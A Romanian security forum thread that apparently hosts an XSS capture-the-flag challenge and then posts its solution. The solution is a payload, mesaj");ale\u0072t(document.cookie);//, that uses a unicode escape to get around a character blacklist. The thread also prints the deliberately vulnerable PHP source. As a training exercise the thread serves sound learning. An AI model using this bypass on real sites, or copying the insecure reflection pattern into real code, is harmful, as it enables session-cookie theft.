Jump to content
Open

[HARD]XSS CHALLENGE #1

Recommended Posts

Posted (edited)

  1. Link:
    6f70656e2d6368616c6c616e67652e3266682e636f


  2. Dificultatea: Mediu - Hard
  3. Cerinte: Executarea codului "document.cookie" pentru a valida challange-ul.
  4. Dupa rezolvarea chlallenge-ului se trimite vectorul pe privat,
  5. Si la alegerea voastra daca vreti sa postati poza sau nu.

  • - Castigatori -
    ---------------------------------
  • @abraxyss

Edited by Open
Posted (edited)

Challenge closed

Orice mesaj privat, sau orice replay cu rezolvarea challenge-ului nu mai este luata in considerare.

  1. Rezolvare:
    mesaj");ale\u0072t(document.cookie);//



  2. De ce?
  3. Parametru vulnerabil este

  4. $POST = str_replace($array,null,($_POST['xss']));
    [*]



  5. Pana aici tot este normal doar ca acele caractere filtrate sunt acestea

  6. $array=array("<",">"," "," ","r","'","+","=",);
    [*]



  7. Parametru "POST" se reflecta aici

  8. $mesaj = '<script>alert("'.(str_replace($array,null,($POST))).'")</script>';
    [*]



  9. Vine in felul urmator
  10. <script>alert("parametru")</script>

  11. Acum trebuie sa iesi din script, trebuie sa inchizi acel "alert"
  12. mesaj")
  13. in codul sursa va aparea <script>alert("mesaj");
  14. Acum poti trece sa completezi cu document.cookie, doar ca in array este blocata si litera "r"
  15. Deci trebuie sa criptezi litera respectiva deci
  16. r va deveni \u0072,
  17. Deci la sfarsit va arata cam asa
  18. mesaj");ale\u0072t(document.cookie);//



  19. Codul sursa este urmatorul.


<?php
error_reporting(1);
if(isset($_POST['xss'])){

$array=array("<",">"," "," ","r","'","+","=",);
$image = 'http://www.law.msu.edu/alumni/alumni_media/challenge.gif';
$parametru = 'POST';
$cod = "123456789";
$request = 'xss';
$POST = str_replace($array,null,($_POST['xss']));
$mesaj = '<script>alert("'.(str_replace($array,null,($POST))).'")</script>';
setcookie('salut',base64_encode('-'.$cod.'-'),time()+3600);
$news = '<center><img src="'.$image.'"/><br><br><br>
<form action="" method="'.$parametru.'">
<input type="text" name="'.$request.'" />
<input type="submit" name="submit" value="submit" />
</form></center>';
$rezultat = "<b><center>".htmlentities(str_replace('r',null,$POST))."</center></b>";
}else{
$image = 'http://www.law.msu.edu/alumni/alumni_media/challenge.gif';
$parametru = 'POST';
$request = 'xss';
$mesaj=' <center>
<img src="'.$image.'"/><br><br><br>
<form action="" method="'.$parametru.'"> <input type="text" name="'.$request.'" />
<input type="submit" name="submit" value="submit" />
</form>
</center>';
}
echo $news;
echo $rezultat;
echo $mesaj;

?>

Edited by Open

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...